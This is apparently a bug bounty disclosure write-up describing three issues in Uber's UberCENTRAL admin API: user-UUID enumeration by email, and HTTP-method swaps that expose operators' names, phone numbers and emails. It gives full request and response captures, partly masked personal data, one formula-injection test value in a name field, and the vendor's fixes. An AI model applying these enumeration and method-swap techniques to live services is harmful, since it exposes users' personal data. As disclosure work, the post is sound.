Kevin Roh bio photo

Kevin Roh

Bug Bounty Participant

Email Twitter Github

A few months ago Uber came out with a new service which allowed businesses to request Uber rides for their customers. UberCENTRAL allowed businesses - large or small - to request, manage and pay for multiple Uber rides on behalf of their customers. The only way to have access to UberCENTRAL is to be approved and luckily I was approved to view the backend.

By using the feature on UberCENTRAL that was provided it allowed the administrator of the company to add operators to their locations. Operators are employees who will request rides on behalf of the companies customers and these operators can be added via their email address, therefore basically any valid email address that was registered with Uber can be added.

Taken straight from Uber’s HackerOne Profile the reason why Uber rewards for enumerating userUUID is due to insecure direct object reference (IDOR). When an attacker is able to perform bulk enumeration of userUUID through an endpoint they can then at that point perform bulk IDOR attacks against their users.

0x01 : enumerate userUUID via emails

With central.uber.com the admin can add operators to certain locations. With that request the usersUUID is available when their email is used.

Request

POST /admin/api/organizations/[organizationUUID]/operators HTTP/1.1
Host: central.uber.com
Connection: close
Content-Length: 40
Accept: application/json
Origin: https://central.uber.com
x-csrf-token: XXXX
x-uber-origin: web-central-admin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/json
Referer: https://central.uber.com/admin/locations
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
Cookie: _ua=XXXX

{"operatorEmail":"r****@unlv.nevada.edu"}

The attacker can change the operatorEmail and start enumerating through hundreds of thousands of possible valid email addresses.

Response

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 05 Sep 2016 01:12:15 GMT
Content-Type: application/json; charset=utf-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
x-csrf-token: XXXX
Set-Cookie: web-central-admin:sess=fNlg1atG-0-XXXX path=/; expires=Tue, 06 Sep 2016 00:40:29 GMT; httponly
X-Uber-App: web-central-admin
Strict-Transport-Security: max-age=0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=2592000
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=0
Content-Length: 348

{"data":{"operatorEmail":"r****@unlv.nevada.edu","organizationUuid":"[organizationUUID]","userUuid":"72225a84-53c4-4766-9ca1-6eec06cbaa13"},"createOperator":{"uuid":"9987c0ca-0894-4992-810b-0da64b6a53fc","userUUID":"906d29c8-7b17-4e90-900e-1af72e1c72a6","firstName":null,"lastName":null,"email":null,
"phoneNumber":null,"branches":null}}

As you can see the userUUID is visible. The UUID for r**@unlv.nevada.edu is 906d29c8-7b17-4e90-900e-1af72e1c72a6 which is also shown in the response.

If the email is not associated with an account then an error will show up in the response.
Uber has fixed the issue by removing the userUUID from the response.

Timeline

  • September 4th - Reported
  • September 6th - Acknowledged
  • September 26th - Triaged
  • October 6th - Resolved
  • October 17th - Bounty Rewarded

0x02 : enumerate userUUID via GET request

This is the same exact endpoint as 0x01 but instead of using the POST request, the GET request is used.

With this you will still have to use the POST request in 0x01 to gather emails and adding them to your operator list.

Request:

GET /admin/api/organizations/[organizationUUID]/operators HTTP/1.1
Host: central.uber.com
Connection: close
Content-Length: 34
Origin: https://central.uber.com
x-csrf-token: XXXX
x-uber-origin: web-central-admin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36
Content-Type: application/json
Accept: application/json
Referer: https://central.uber.com/admin/locations
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
Cookie: _ua=XXXX

{"operatorEmail":"test2@test.com"}

Once again the attacker can change the operatorEmail and start enumerating through hundreds of thousands of possible valid email addresses. At that point once the attacker has enough valid emails they will be able to change the HTTP method from POST to GET.

Response:

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 18 Oct 2016 22:44:58 GMT
Content-Type: application/json; charset=utf-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Set-Cookie: web-central-admin:sess=XXXX
X-Uber-App: web-central-admin
Strict-Transport-Security: max-age=0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=2592000
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=0
Content-Length: 2801

{"data":{"organizationUuid":"[organizationUUID]","userUuid":"72225a84-53c4-4766-9ca1-6eec06cbaa13"},"operatorsForOrg":{"organization":{"uuid":"[organizationUUID]","name":"rohk","u4bUUID":null,"businessType":"Hospitality","estimatedDailyTrips":"500+","estimatedBranchCount":"1-5","state":"APPROVED"},"operators":{"688f8c6e-e323-4750-97b4-86656a8a2644":{"uuid":"688f8c6e-e323-4750-97b4-86656a8a2644","userUUID":"72225a84-53c4-4766-9ca1-6eec06cbaa13","firstName":"KEVIN","lastName":"ROH","email":"rohkroh@gmail.com","phoneNumber":"XXXX"},"e13a4bd3-21e4-4dae-b1cc-84b4e6de7405":{"uuid":"e13a4bd3-21e4-4dae-b1cc-84b4e6de7405","userUUID":"59a95100-5be4-4df8-a6e8-a180ec29036e","firstName":null,"lastName":null,"email":"p***@unlv.nevada.edu","phoneNumber":null},"276c9b65-7d85-4500-bc62-daf9a3d211e4":{"uuid":"276c9b65-7d85-4500-bc62-daf9a3d211e4","userUUID":"de483ca6-43bf-4930-bfe3-e3312d1fe478","firstName":null,"lastName":null,"email":"ch*****@gmail.com","phoneNumber":null},"c449f804-b905-4cfb-aa73-9c1e36e1512a":{"uuid":"c449f804-b905-4cfb-aa73-9c1e36e1512a","userUUID":"8de8282e-0d11-4d9d-938b-fbd19b826703","firstName":null,"lastName":null,"email":"test@test.com","phoneNumber":null},"f198e728-f4a2-487a-a6ee-3c9e4e4621b2":{"uuid":"f198e728-f4a2-487a-a6ee-3c9e4e4621b2","userUUID":"e71f3f9f-784c-4cba-9d76-d4f110e090e2","firstName":null,"lastName":null,"email":"test2@test.com","phoneNumber":null},"fba45580-c36e-460b-a55d-198f8bd82d6e":{"uuid":"fba45580-c36e-460b-a55d-198f8bd82d6e","userUUID":"d9f142b2-1f91-49ae-a7a7-feadcdfa1375","firstName":null,"lastName":null,"email":"em***@outlook.com","phoneNumber":null},"3a3b2393-7f89-45b7-a558-98b8f117fe46":{"uuid":"3a3b2393-7f89-45b7-a558-98b8f117fe46","userUUID":"5e699c04-d453-4dab-9e32-90c6a610c4c3","firstName":null,"lastName":null,"email":"kr****@live.com","phoneNumber":null},"9987c0ca-0894-4992-810b-0da64b6a53fc":{"uuid":"9987c0ca-0894-4992-810b-0da64b6a53fc","userUUID":"906d29c8-7b17-4e90-900e-1af72e1c72a6","firstName":"test","lastName":"account","email":"r****@unlv.nevada.edu","phoneNumber":"XXXX"}},"operatorsLinkStatusAndRoles":{"688f8c6e-e323-4750-97b4-86656a8a2644":{"linkStatus":"LINKED","roles":["ADMIN","USER"]},"e13a4bd3-21e4-4dae-b1cc-84b4e6de7405":{"linkStatus":"PENDING","roles":["USER"]},"276c9b65-7d85-4500-bc62-daf9a3d211e4":{"linkStatus":"PENDING","roles":["USER"]},"c449f804-b905-4cfb-aa73-9c1e36e1512a":{"linkStatus":"PENDING","roles":["USER"]},"f198e728-f4a2-487a-a6ee-3c9e4e4621b2":{"linkStatus":"PENDING","roles":["USER"]},"fba45580-c36e-460b-a55d-198f8bd82d6e":{"linkStatus":"PENDING","roles":["USER"]},"3a3b2393-7f89-45b7-a558-98b8f117fe46":{"linkStatus":"PENDING","roles":["USER"]},"9987c0ca-0894-4992-810b-0da64b6a53fc":{"linkStatus":"LINKED","roles":["USER"]}}}}

By changing the HTTP method from POST to GET will allow you to get all the operators you have added to your company. This will show all the operators userUUID.

Uber has fixed this issue by removing the userUUID associated with the email but every time you do the GET request, the userUUID will show up with a random userUUID. Sneaky sneaky!

Timeline

  • October 18th - Reported
  • October 19th - Acknowledged
  • October 19th - Triaged
  • October 24th - Resolved
  • October 31st - Bounty Rewarded

0x03 : Exposure of full name, phone numbers, emails and userUUID

After finding the previous endpoint, that made me test out other endpoints with the GET HTTP method. When an operator is added to a location their information will show up ONLY IF they log into UberCENTRAL. If the user does not log into UberCENTRAL with the account that was added, no information will be revealed.

Once the operators are added to the location, they need to be selected to be associated with that location. Once you do that you can do the following request.

The original HTTP method was PUT but if you change it to GET you will reveal more information.

Request:

GET /admin/api/organizations/[organizationUUID]/branches/8c744451-3e3e-43c3-aaaf-2bf52feab19c/operators HTTP/1.1
Host: central.uber.com
Connection: close
Content-Length: 331
Accept: application/json
Origin: https://central.uber.com
x-csrf-token: XXXX
x-uber-origin: web-central-admin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36
Content-Type: application/json
Referer: https://central.uber.com/admin/locations
Accept-Encoding: gzip, deflate, sdch, br
Accept-Language: en-US,en;q=0.8
Cookie: _ua=XXXX

{"operatorUuids":["9987c0ca-0894-4992-810b-0da64b6a53fc","688f8c6e-e323-4750-97b4-86656a8a2644","e13a4bd3-21e4-4dae-b1cc-84b4e6de7405","c449f804-b905-4cfb-aa73-9c1e36e1512a","fba45580-c36e-460b-a55d-198f8bd82d6e","3a3b2393-7f89-45b7-a558-98b8f117fe46","276c9b65-7d85-4500-bc62-daf9a3d211e4","f198e728-f4a2-487a-a6ee-3c9e4e4621b2"]}

All the operators need to be selected to gain their information. The operatorUuid is not the users userUUID.

Response:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 21 Oct 2016 00:43:48 GMT
Content-Type: application/json; charset=utf-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Set-Cookie: web-central-admin:XXXX
X-Uber-App: web-central-admin
Strict-Transport-Security: max-age=0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=2592000
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=0
Content-Length: 2851

{"data":{"branchUuid":"8c744451-3e3e-43c3-aaaf-2bf52feab19c","userUuid":"72225a84-53c4-4766-9ca1-6eec06cbaa13"},"operatorsForOrg":{"branch":{"uuid":"8c744451-3e3e-43c3-aaaf-2bf52feab19c","name":"","phoneNumber":"+XXXX","address":"XXXX","email":""},"operators":{"688f8c6e-e323-4750-97b4-86656a8a2644":{"uuid":"688f8c6e-e323-4750-97b4-86656a8a2644","userUUID":"72225a84-53c4-4766-9ca1-6eec06cbaa13","firstName":"KEVIN","lastName":"ROH","email":"rohkroh@gmail.com","phoneNumber":"XXXX"},"e13a4bd3-21e4-4dae-b1cc-84b4e6de7405":{"uuid":"e13a4bd3-21e4-4dae-b1cc-84b4e6de7405","userUUID":"59a95100-5be4-4df8-a6e8-a180ec29036e","firstName":"Ted","lastName":"Pele","email":"p***@unlv.nevada.edu","phoneNumber":null},"9987c0ca-0894-4992-810b-0da64b6a53fc":{"uuid":"9987c0ca-0894-4992-810b-0da64b6a53fc","userUUID":"906d29c8-7b17-4e90-900e-1af72e1c72a6","firstName":"test","lastName":"account","email":"r****@unlv.nevada.edu","phoneNumber":"XXXX"},"c449f804-b905-4cfb-aa73-9c1e36e1512a":{"uuid":"c449f804-b905-4cfb-aa73-9c1e36e1512a","userUUID":"8de8282e-0d11-4d9d-938b-fbd19b826703","firstName":"AndrewTEST","lastName":"Test","email":"test@test.com","phoneNumber":"XXXX"},"f198e728-f4a2-487a-a6ee-3c9e4e4621b2":{"uuid":"f198e728-f4a2-487a-a6ee-3c9e4e4621b2","userUUID":"e71f3f9f-784c-4cba-9d76-d4f110e090e2","firstName":"uber","lastName":"uber","email":"test2@test.com","phoneNumber":"XXXX"},"fba45580-c36e-460b-a55d-198f8bd82d6e":{"uuid":"fba45580-c36e-460b-a55d-198f8bd82d6e","userUUID":"d9f142b2-1f91-49ae-a7a7-feadcdfa1375","firstName":"h1","lastName":"emckai","email":"em****@outlook.com","phoneNumber":null},"3a3b2393-7f89-45b7-a558-98b8f117fe46":{"uuid":"3a3b2393-7f89-45b7-a558-98b8f117fe46","userUUID":"5e699c04-d453-4dab-9e32-90c6a610c4c3","firstName":"=HYPERLINK(\"http://google.com\")","lastName":"","email":"kr******@live.com","phoneNumber":null},"276c9b65-7d85-4500-bc62-daf9a3d211e4":{"uuid":"276c9b65-7d85-4500-bc62-daf9a3d211e4","userUUID":"de483ca6-43bf-4930-bfe3-e3312d1fe478","firstName":"XXXXX","lastName":"XXXXX","email":"ch******@gmail.com","phoneNumber":"XXXX"}},"operatorsLinkStatusAndRoles":{"688f8c6e-e323-4750-97b4-86656a8a2644":{"linkStatus":"LINKED","roles":["ADMIN","USER"]},"e13a4bd3-21e4-4dae-b1cc-84b4e6de7405":{"linkStatus":"PENDING","roles":["USER"]},"9987c0ca-0894-4992-810b-0da64b6a53fc":{"linkStatus":"LINKED","roles":["USER"]},"c449f804-b905-4cfb-aa73-9c1e36e1512a":{"linkStatus":"PENDING","roles":["USER"]},"f198e728-f4a2-487a-a6ee-3c9e4e4621b2":{"linkStatus":"PENDING","roles":["USER"]},"fba45580-c36e-460b-a55d-198f8bd82d6e":{"linkStatus":"PENDING","roles":["USER"]},"3a3b2393-7f89-45b7-a558-98b8f117fe46":{"linkStatus":"PENDING","roles":["USER"]},"276c9b65-7d85-4500-bc62-daf9a3d211e4":{"linkStatus":"PENDING","roles":["USER"]}}}}

The following response shows up with the users full name, phone number, email address (which we enumerated through to get all this information) and the userUUID.

Uber fixed this issue by placing NULL in the firstName, lastName and phoneNumber fields. As for the userUUID, everytime you do the GET request it will respond back with a random userUUID. Once again sneaky sneaky!

Timeline

  • October 20th - Reported
  • Ocotber 21st - Triaged
  • October 24th - Resolved
  • October 31st - Bounty Rewarded